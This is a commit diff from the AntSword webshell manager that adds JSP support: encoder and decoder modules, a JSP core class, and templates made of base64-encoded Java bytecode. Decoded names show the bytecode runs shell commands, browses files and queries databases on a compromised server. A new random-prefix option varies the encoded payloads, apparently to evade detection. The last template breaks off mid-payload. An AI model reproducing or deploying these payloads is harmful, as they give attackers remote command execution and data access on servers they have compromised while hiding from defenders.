Unverified Commit 9a6e0989 authored by Medicean's avatar Medicean Committed by GitHub

Merge pull request #247 from yzddmr6/v2.1.x

其他参数增加随机前缀
parents 30f0dd1b 92bf8721
...@@ -165,12 +165,14 @@ antSword['encoders'] = (function () { ...@@ -165,12 +165,14 @@ antSword['encoders'] = (function () {
var encoders = { var encoders = {
asp: [], asp: [],
aspx: [], aspx: [],
jsp: [],
php: [], php: [],
custom: [] custom: []
}; };
var encoders_path = { var encoders_path = {
asp: [], asp: [],
aspx: [], aspx: [],
jsp: [],
php: [], php: [],
custom: [] custom: []
}; };
...@@ -179,7 +181,7 @@ antSword['encoders'] = (function () { ...@@ -179,7 +181,7 @@ antSword['encoders'] = (function () {
!fs.existsSync(userencoder_path) ? !fs.existsSync(userencoder_path) ?
fs.mkdirSync(userencoder_path) : fs.mkdirSync(userencoder_path) :
null; null;
['asp', 'aspx', 'php', 'custom'].map((t) => { ['asp', 'aspx', 'php', 'jsp', 'custom'].map((t) => {
!fs.existsSync(path.join(userencoder_path, `${t}`)) ? !fs.existsSync(path.join(userencoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userencoder_path, `${t}`)) : fs.mkdirSync(path.join(userencoder_path, `${t}`)) :
null; null;
...@@ -219,12 +221,14 @@ antSword['decoders'] = (function () { ...@@ -219,12 +221,14 @@ antSword['decoders'] = (function () {
asp: [], asp: [],
aspx: [], aspx: [],
php: [], php: [],
jsp: [],
custom: [] custom: []
}; };
var decoders_path = { var decoders_path = {
asp: [], asp: [],
aspx: [], aspx: [],
php: [], php: [],
jsp: [],
custom: [] custom: []
}; };
let userdecoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders'); let userdecoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders');
...@@ -232,7 +236,7 @@ antSword['decoders'] = (function () { ...@@ -232,7 +236,7 @@ antSword['decoders'] = (function () {
!fs.existsSync(userdecoder_path) ? !fs.existsSync(userdecoder_path) ?
fs.mkdirSync(userdecoder_path) : fs.mkdirSync(userdecoder_path) :
null; null;
['asp', 'aspx', 'php', 'custom'].map((t) => { ['asp', 'aspx', 'php', 'jsp', 'custom'].map((t) => {
!fs.existsSync(path.join(userdecoder_path, `${t}`)) ? !fs.existsSync(path.join(userdecoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userdecoder_path, `${t}`)) : fs.mkdirSync(path.join(userdecoder_path, `${t}`)) :
null; null;
......
...@@ -129,7 +129,9 @@ class Base { ...@@ -129,7 +129,9 @@ class Base {
* @param {String} encode [字符串编码,默认utf8] * @param {String} encode [字符串编码,默认utf8]
* @return {Object} [返回字符串处理函数对象] * @return {Object} [返回字符串处理函数对象]
*/ */
format(encode) { format(opts) {
let encode = opts['encode'];
let randomPrefix = parseInt(opts.otherConf["random-Prefix"]);
return { return {
/** /**
* base64编码 * base64编码
...@@ -139,6 +141,20 @@ class Base { ...@@ -139,6 +141,20 @@ class Base {
base64(str) { base64(str) {
return Buffer.from(iconv.encode(Buffer.from(str), encode)).toString('base64'); return Buffer.from(iconv.encode(Buffer.from(str), encode)).toString('base64');
}, },
/**
* 增加随机前缀的base64编码
* @param {String} str 字符串
* @return {String} 编码后的字符串
*/
newbase64(str) {
let randomString = (length) => {
let chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let result = '';
for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
return result;
}
return randomString(randomPrefix) + Buffer.from(iconv.encode(Buffer.from(str), encode)).toString('base64');
},
/** /**
* 字符串转16进制(不进行编码转换 * 字符串转16进制(不进行编码转换
* @param {String} str 转换的字符串 * @param {String} str 转换的字符串
...@@ -175,10 +191,9 @@ class Base { ...@@ -175,10 +191,9 @@ class Base {
// 加载模板 // 加载模板
let _argv = this.argv(); let _argv = this.argv();
let templateObj = require(`${tpl}`)(_argv[0], _argv[1], _argv[2], _argv[3], _argv[4], _argv[5]); let templateObj = require(`${tpl}`)(_argv[0], _argv[1], _argv[2], _argv[3], _argv[4], _argv[5]);
// let formatter = new this.format(this.__opts__['encode']);
let formatter = Base let formatter = Base
.prototype .prototype
.format(this.__opts__['encode']); .format(this.__opts__);
// 解析模板 // 解析模板
for (let funcName in templateObj) { for (let funcName in templateObj) {
this[templateName][funcName] = ((args) => { this[templateName][funcName] = ((args) => {
...@@ -211,6 +226,7 @@ class Base { ...@@ -211,6 +226,7 @@ class Base {
}) })
} }
// 发送HTTP请求 // 发送HTTP请求
data['_'] = data['_'].replace(/#randomPrefix#/g, this.__opts__.otherConf["random-Prefix"]);
return data; return data;
} }
} else { } else {
...@@ -331,6 +347,7 @@ class Base { ...@@ -331,6 +347,7 @@ class Base {
chunkStepMax: (this.__opts__['otherConf'] || {})['chunk-step-byte-max'] || 3, chunkStepMax: (this.__opts__['otherConf'] || {})['chunk-step-byte-max'] || 3,
useMultipart: (this.__opts__['otherConf'] || {})['use-multipart'] === 1, useMultipart: (this.__opts__['otherConf'] || {})['use-multipart'] === 1,
addMassData: (this.__opts__['otherConf'] || {})['add-MassData'] === 1, addMassData: (this.__opts__['otherConf'] || {})['add-MassData'] === 1,
randomPrefix: parseInt((this.__opts__['otherConf'] || {})['random-Prefix']),
useRandomVariable: (this.__opts__['otherConf'] || {})['use-random-variable'] === 1, useRandomVariable: (this.__opts__['otherConf'] || {})['use-random-variable'] === 1,
timeout: parseInt((this.__opts__['otherConf'] || {})['request-timeout']), timeout: parseInt((this.__opts__['otherConf'] || {})['request-timeout']),
headers: (this.__opts__['httpConf'] || {})['headers'] || {}, headers: (this.__opts__['httpConf'] || {})['headers'] || {},
...@@ -384,6 +401,7 @@ class Base { ...@@ -384,6 +401,7 @@ class Base {
chunkStepMax: (this.__opts__['otherConf'] || {})['chunk-step-byte-max'] || 3, chunkStepMax: (this.__opts__['otherConf'] || {})['chunk-step-byte-max'] || 3,
useMultipart: (this.__opts__['otherConf'] || {})['use-multipart'] === 1, useMultipart: (this.__opts__['otherConf'] || {})['use-multipart'] === 1,
addMassData: (this.__opts__['otherConf'] || {})['add-MassData'] === 1, addMassData: (this.__opts__['otherConf'] || {})['add-MassData'] === 1,
randomPrefix: parseInt((this.__opts__['otherConf'] || {})['random-Prefix']),
useRandomVariable: (this.__opts__['otherConf'] || {})['use-random-variable'] === 1, useRandomVariable: (this.__opts__['otherConf'] || {})['use-random-variable'] === 1,
timeout: parseInt((this.__opts__['otherConf'] || {})['request-timeout']), timeout: parseInt((this.__opts__['otherConf'] || {})['request-timeout']),
headers: (this.__opts__['httpConf'] || {})['headers'] || {}, headers: (this.__opts__['httpConf'] || {})['headers'] || {},
......
...@@ -14,7 +14,7 @@ class Core { ...@@ -14,7 +14,7 @@ class Core {
constructor() { constructor() {
// 加载子模块列表 // 加载子模块列表
let cores = {}; let cores = {};
['php', 'asp', 'aspx', 'custom', 'php4'].map((_) => { ['php', 'asp', 'aspx', 'jsp', 'custom', 'php4'].map((_) => {
cores[_] = require(`./${_}/index`); cores[_] = require(`./${_}/index`);
}); });
// 返回子模块对象 // 返回子模块对象
......
/**
* JSP::default解码器
*/
'use strict';
module.exports = {
asoutput: () => {
return ``.replace(/\n\s+/g, '');
},
decode_buff: (data) => {
return data;
}
}
\ No newline at end of file
//
// jsp::base64 编码模块
//
// :把除了密码跟api的其他参数都base64编码一次
//
'use strict';
module.exports = (pwd, data, ext = null) => {
let ret = {};
for (let _ in data) {
if (_ === '_') {
continue
};
ret[_] = Buffer
.from(data[_])
.toString('base64');
}
if (ext.opts['encode'] != "UTF8") {
ret['charset'] = ext.opts['encode'];
}
if (ext.opts['encoder'] != "default") {
ret['encoder'] = ext.opts['encoder'];
}
if (ext.opts['decoder'] != "default") {
ret['decoder'] = ext.opts['decoder'];
}
ret[pwd] = data['_'];
return ret;
}
\ No newline at end of file
//
// 16进制编码模块
//
'use strict';
module.exports = (pwd, data, ext = null) => {
let ret = {};
for (let _ in data) {
if (_ === '_') {
continue
};
ret[_] = Buffer
.from(data[_])
.toString('hex');
}
if (ext.opts['encode'] != "UTF8") {
ret['charset'] = ext.opts['encode'];
}
if (ext.opts['encoder'] != "default") {
ret['encoder'] = ext.opts['encoder'];
}
if (ext.opts['decoder'] != "default") {
ret['decoder'] = ext.opts['decoder'];
}
ret[pwd] = data['_'];
return ret;
}
\ No newline at end of file
/**
* JSP服务端脚本模板
* 作者:yzddMr6
*/
'use strict';
const Base = require('../base');
class JSP extends Base {
constructor(opts) {
super(opts);
// 解析模板
[
'base',
'command',
'filemanager',
'database/sqlserver',
'database/mysql',
'database/oracle'
].map((_) => {
this.parseTemplate(`./jsp/template/${_}`);
});
// 解析编码器
this
.encoders
.map((_) => {
this.parseEncoder(`./jsp/encoder/${_}`);
});
this
.decoders
.map((_) => {
this.parseDecoder(`./jsp/decoder/${_}`);
});
}
/**
* 获取编码器列表
* @return {array} 编码器列表
*/
get encoders() {
return ['base64','hex'];
}
get decoders() {
return ['default'];
}
/**
* HTTP请求数据组合函数
* @param {Object} data 通过模板解析后的代码对象
* @return {Promise} 返回一个Promise操作对象
*/
complete(data, force_default = false) {
// 分隔符号
let tag_s, tag_e;
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tags']) {
tag_s = this.__opts__['otherConf']['custom-datatag-tags'];
} else {
tag_s = "->|";
}
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tage']) {
tag_e = this.__opts__['otherConf']['custom-datatag-tage'];
} else {
tag_e = "|<-";
}
// 使用编码器进行处理并返回
return this.encodeComplete(tag_s, tag_e, data);
}
}
module.exports = JSP;
\ No newline at end of file
//
// 基础信息模板
// 获取:当前路径、磁盘列表
//
module.exports = () => ({
info: 'yv66vgAAADIAtQoANgBNBwBOCgACAE8KAAIAUAgAUQsAUgBTCABUBwBVCABWCgAIAFcIAFgLAFkAWgsAUgBbCwBZAFsIAFwKAAgAXQcAXgoANQBfCgAIAGAIAGEKAAIAYgoAYwBkBwBlBwBmCgAYAE0IAGcKABgAaAoAFwBgCgAYAGALABEAaQsAagBrCABsCwBtAG4KADYAbwoAcABxCgByAHMHAHQKACUAVwoAJQB1CgB2AHcKAHYAeAoAdgB5CgB2AHoIAHsKAHwAfQgAfgoANQB/CACACgB2AIEKAHYAggoAJQCDCgAlAGAHAEYHAIQBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcATgcAhQcAhgcAhwcARgcAhAcAVQcAZQEAC1N5c0luZm9Db2RlAQA7KExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OylMamF2YS9sYW5nL1N0cmluZzsBAA9Xd3dSb290UGF0aENvZGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwcAiAEAClNvdXJjZUZpbGUBABBTeXNJbmZvQ29kZS5qYXZhDAA3ADgBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwAiQCKDACLAIwBAAdjaGFyc2V0BwCFDACNAEkBAAVVVEYtOAEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIBAAAMADcAjgEACXRleHQvaHRtbAcAhgwAjwCODACQAI4BAAMtPnwMAJEAkgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMAEYARwwAkwCUAQADfDwtDACVAJYHAJcMAJgAjgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEACUVSUk9SOi8vIAwAkQCZDACaAJsHAJwMAJ0AngEAAS8HAJ8MAKAASQwAoQCiBwCjDACkAKUHAKYMAKcAlAEADGphdmEvaW8vRmlsZQwAqACUBwCHDACpAKoMAKsArAwArQCUDACuAK8BAAdvcy5uYW1lBwCwDACxAEkBAAl1c2VyLm5hbWUMAEgASQEAAQkMAK4AsgwAOwA8DACzALQBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAQamF2YS9sYW5nL1N0cmluZwEAD1tMamF2YS9pby9GaWxlOwEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmdldE91dAEAHygpTGphdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcjsBABtqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXIBAAVwcmludAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQARZ2V0U2VydmxldENvbnRleHQBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb250ZXh0OwEAHGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQBAAtnZXRSZWFsUGF0aAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAD2phdmEvbGFuZy9DbGFzcwEAC2dldFJlc291cmNlAQAiKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uZXQvVVJMOwEADGphdmEvbmV0L1VSTAEAB2dldFBhdGgBAAlnZXRQYXJlbnQBAAZjaGFyQXQBAAQoSSlDAQAHdmFsdWVPZgEAFShDKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEACWxpc3RSb290cwEAESgpW0xqYXZhL2lvL0ZpbGU7ACEANQA2AAAAAAAEAAEANwA4AAEAOQAAAB0AAQABAAAABSq3AAGxAAAAAQA6AAAABgABAAAABwABADsAPAABADkAAAFSAAMACQAAALMrwAACTSy2AANOLLYABDoELRIFuQAGAgDGAA4tEgW5AAYCAKcABRIHOgW7AAhZEgm3AAo6BrsACFkSCbcACjoHGQQSC7kADAIALRkFuQANAgAZBBkFuQAOAgAZBhIPtgAQVxkHKi3AABG2ABK2ABBXGQYZB7YAE7YAEFcZBhIUtgAQVyy2ABUZBrYAE7YAFqcAIjoIGQe7ABhZtwAZEhq2ABsZCLYAHLYAG7YAHbYAEFcErAABAEAAjwCSABcAAgA6AAAASgASAAAACgAFAAsACgAMABAADQAqAA4ANQAPAEAAEQBJABIAUQATAFoAFABiABUAcAAWAHsAFwCDABgAjwAbAJIAGQCUABoAsQAcAD0AAAA1AAT+ACYHAD4HAD8HAEBBBwBB/wBpAAgHAEIHAEMHAD4HAD8HAEAHAEEHAEQHAEQAAQcARR4AAABGAEcAAQA5AAABLwADAAYAAADHEglNK7kAHgEAuQAfAQASILkAIQIAxgAZK7kAHgEAuQAfAQASILkAIQIATacAHCq2ACISILYAI7YAJE67ACVZLbcAJrYAJ02nAB9OKrYAIhIgtgAjtgAkOgS7ACVZGQS3ACa2ACdNuwAYWbcAGSwDtgAouAAptgAqtgAbLAS2ACu2ABu2AB1NEiy4AC1OEi64AC06BCostgAvOgW7ABhZtwAZLLYAGxIwtgAbGQW2ABsSMLYAGy22ABsSMLYAGxkEtgAbtgAdsAABAAMARwBKABcAAgA6AAAAOgAOAAAAIAADACIAGAAjAC4AJQA7ACYARwArAEoAKABLACkAWQAqAGYALACHAC0AjQAuAJQALwCbADAAPQAAAA4ABPwALgcAQRhCBwBFGwAAAEgASQABADkAAACwAAQABQAAAGESCU0rAwS2ADESILYAMpoAPbgAM04DNgQVBC2+ogAsuwAYWbcAGSy2ABstFQQytgA0AwW2ADG2ABsSCbYAG7YAHU2EBAGn/9OnABe7ABhZtwAZLLYAGxIgtgAbtgAdTSywAAAAAgA6AAAAJgAJAAAAMwADADQAEQA1ABUANgAfADcAQgA2AEgAOQBLADoAXwA8AD0AAAARAAT+ABgHAEEHAEoB+QAvAhMAAQBLAAAAAgBM',
probedb: 'Z', // 检测数据库函数支持
})
\ No newline at end of file
//
// 命令执行模板
//
module.exports = () => ({
exec: {
_: 'yv66vgAAADIA7goATABrBwBsCgACAG0KAAIAbggAbwsAcABxCAByCABzCAB0BwB1CgAKAHYIAHcLAHgAeQsAcAB6CwB4AHoHAHsKABAAawgAfAoAEAB9CgAQAH4KAEsAfwoASwCACACBCACCCgAKAIMKAEsAhAoACgB+CACFCgACAIYKAIcAiAcAiQgAigoAHwB+CACLCgAkAIwHAI0KACQAjgoAJACPCACQCACRCgAkAJIHAJMKACQAlAoAKgCVCgAkAJYKACQAlwoAEACYCACZCgAqAJoKACoAmwgAnAcAnQoANABrCgA0AJ4KAEsAnwgAoAgAoQoAogCjCgCiAKQKAKUApgoASwCnCgClAKgIAKkKAKoAqwoAJACsCACtCgAkAK4HAK8HALAKAEUAsQoARACyCgBEALMIALQKAEQAtQcAYQcAtgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA1TdGFja01hcFRhYmxlBwBsBwC3BwC4BwCNBwBhBwC2BwB1BwCJAQACRUMBAEooTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMBAAZkZWNvZGUHAJMBABJFeGVjdXRlQ29tbWFuZENvZGUHALkBAAVpc1dpbgEAAygpWgEAD0NvcHlJbnB1dFN0cmVhbQEAQihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjtMamF2YS9sYW5nL1N0cmluZzspVgcArwcAugEAClNvdXJjZUZpbGUBABdFeGVjdXRlQ29tbWFuZENvZGUuamF2YQwATQBOAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMALsAvAwAvQC+AQAHZW5jb2RlcgcAtwwAvwDAAQAAAQAHY2hhcnNldAEABVVURi04AQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwATQDBAQAJdGV4dC9odG1sBwC4DADCAMEMAMMAwQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAxADFDADGAMcMAF8AXQwAXABdAQAEdmFyMgEAAy0+fAwAxADIDABhAF0BAAN8PC0MAMkAygcAywwAzADBAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwAUQBSAQAQamF2YS9sYW5nL1N0cmluZwwAzQDODABNAM8BAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwA0ADHAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MANEA0gwATQDTDADUANUMANYA1wwAxADYAQABLAwA2QDTDADGAMABAAZiYXNlNjQBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDADaANsMAGMAZAEAAi1jAQACL2MHANwMAN0A3gwA3wDgBwDhDADiAOMMAGUAZgwA5ADjAQAHb3MubmFtZQcA5QwA5gDADADnAMcBAAN3aW4MAOgA6QEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDABNAOoMAE0A6wwA7ADHAQACDQoMAO0ATgEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9JbnB1dFN0cmVhbQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAA5nZXRFcnJvclN0cmVhbQEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABWNsb3NlACEASwBMAAAAAAAHAAEATQBOAAEATwAAAB0AAQABAAAABSq3AAGxAAAAAQBQAAAABgABAAAACQABAFEAUgABAE8AAAHfAAUACwAAAScrwAACTSy2AANOLLYABDoELRIFuQAGAgDGAA4tEgW5AAYCAKcABRIHOgUtEgi5AAYCAMYADi0SCLkABgIApwAFEgk6BrsAClkSB7cACzoHuwAKWRIHtwALOggZBBIMuQANAgAtGQa5AA4CABkEGQa5AA8CACoquwAQWbcAES0SErkABgIAtgATEge2ABO2ABQZBRkGtgAVGQUZBrYAFjoJKiq7ABBZtwARLRIXuQAGAgC2ABMSB7YAE7YAFBkFGQa2ABUZBRkGtgAWOgoZBxIYtgAZVxkIKhkJGQoZBrYAGrYAGVcZBxkItgAbtgAZVxkHEhy2ABlXLLYAHRkHtgAbtgAepwAiOgkZCLsAEFm3ABESILYAExkJtgAhtgATtgAUtgAZVwSsAAEAWgEDAQYAHwACAFAAAABWABUAAAAMAAUADQAKAA4AEAAPACoAEABEABEATwASAFoAFABjABUAawAWAHQAFwCgABgAzAAZANQAGgDkABsA7wAcAPcAHQEDACABBgAeAQgAHwElACEAUwAAAEIABv4AJgcAVAcAVQcAVkEHAFf8ABcHAFdBBwBX/wDDAAkHAFgHAFkHAFQHAFUHAFYHAFcHAFcHAFoHAFoAAQcAWx4AAABcAF0AAgBPAAAARAAEAAQAAAAeLBIitgAjmgAJLBIipgAFK7C7ACRZK7YAJS23ACawAAAAAgBQAAAACgACAAAAJAARACUAUwAAAAQAAg8BAF4AAAAEAAEAHwAAAF8AXQACAE8AAAFoAAYACAAAANwsEiK2ACOaAAksEiKmAJ8rEielAAwrEie2ACOZAAYSB7ASKDoEK7YAKUy7ACpZK7YAKwVstwAsOgUSBzoGAzYHFQcrtgArogBduwAQWbcAERkGtgATGQQrFQe2AC22AC4HeBkEKxUHBGC2AC22AC6AtgAvEjC2ABO2ABQ6BhkFGQQrFQe2AC22AC4HeBkEKxUHBGC2AC22AC6AtgAxhAcCp/+gGQUSCbYAMrAsEjO2ACOaAAksEjOmACMBOgS7ADRZtwA1OgUZBSu2ADY6BLsAJFkZBBIJtwAmsCuwAAAAAgBQAAAASgASAAAAKAAPACkAHgAqACEALAAlAC0AKgAuADkALwA9ADAASQAxAH0AMgCdADAAowA0AKsANQC6ADYAvQA3AMYAOADOADkA2gA7AFMAAAAqAAgPDgL/AB4ACAcAWAcAVwcAVwcAVwcAVwcAYAcAVwEAAPoAYvgABw4fAF4AAAAEAAEAHwAAAGEAXQACAE8AAADDAAQABwAAAFK7AApZEge3AAs6BAa9ACRZAytTWQQqtgA3mgAIEjinAAUSOVNZBSxTOgW4ADoZBbYAOzoGKhkGtgA8GQQttgA9KhkGtgA+GQQttgA9GQS2ABuwAAAAAgBQAAAAGgAGAAAAPgALAD8AKgBAADQAQQBAAEIATABDAFMAAAA/AAL/ACEABQcAWAcAVwcAVwcAVwcAWgADBwBiBwBiAf8AAQAFBwBYBwBXBwBXBwBXBwBaAAQHAGIHAGIBBwBXAF4AAAAEAAEAHwAAAGMAZAABAE8AAABOAAIAAgAAABgSP7gAQEwrtgBBTCsSQrYAQ5kABQSsA6wAAAACAFAAAAAWAAUAAABGAAYARwALAEgAFABJABYASgBTAAAACAAB/AAWBwBXAAAAZQBmAAIATwAAAI8ABgAGAAAAP7sARFm7AEVZKy23AEa3AEc6BRkFtgBIWToExgAfLLsAEFm3ABEZBLYAExJJtgATtgAUtgAZV6f/3BkFtgBKsQAAAAIAUAAAABYABQAAAE4AEgBPAB0AUAA5AFIAPgBTAFMAAAAiAAL9ABIABwBn/wAmAAYHAFgHAGgHAFoHAFcHAFcHAGcAAABeAAAABAABAB8AAQBpAAAAAgBq',
'var1': '#{bin}',
'var2': '#{cmd}',
},
listcmd: {
_: 'Y',
'z1': '#{binarr}'
}
})
\ No newline at end of file
//
// 默认代码模板
//
// @params
// :encode SHELL编码
// :conn 数据库连接字符串
// :sql 执行SQL语句
// :db 数据库名
// :table 表名
module.exports = () => ({
show_databases: {
_: 'yv66vgAAADIA/AoATABwBwBxCgACAHIKAAIAcwgATQsAdAB1CAB2CQBLAHcIAHgIAHkJAEsAegcAewoADAB8CAB9CwB+AH8LAHQAgAsAfgCABwCBCgASAHAIAIIKABIAgwoAEgCECgBLAIUKAEsAhggAhwgAiAoADACJCgBLAIoKAAwAhAgAiwoAAgCMCgCNAI4HAI8IAJAKACEAhAgAkQoAJgCSBwCTCgAmAJQKACYAlQgAlggAlwoAJgCYBwCZCgAmAJoKACwAmwoAJgCcCgAmAJ0KABIAnggAnwoALACgCgAsAKEIAKIHAKMKADYAcAoANgCkCgAmAKUIAKYIAKcKACYAqAoAJgCpCgCqAKsIAKwKAK0ArgsArwCwCwCxALILALMAtAsAtQC2CwC1ALcLALMAuAsAswC5CAC6CAC7CgBLALwHAGwHAL0BAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAbAcAvQcAcQcAvgcAvwcAbAcAkwcAewcAjwEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCZAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAwAcAwQcAwgcAwwcAxAEADXNob3dEYXRhYmFzZXMBADgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBABJzaG93RGF0YWJhc2VzLmphdmEMAFAAUQEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DADFAMYMAMcAyAcAvgwAyQBhAQAADABNAE4BAAdjaGFyc2V0AQAFVVRGLTgMAE8ATgEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAFAAygEACXRleHQvaHRtbAcAvwwAywDKDADMAMoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjAMAM0AzgwAzwDQDABjAGEMAGAAYQEABH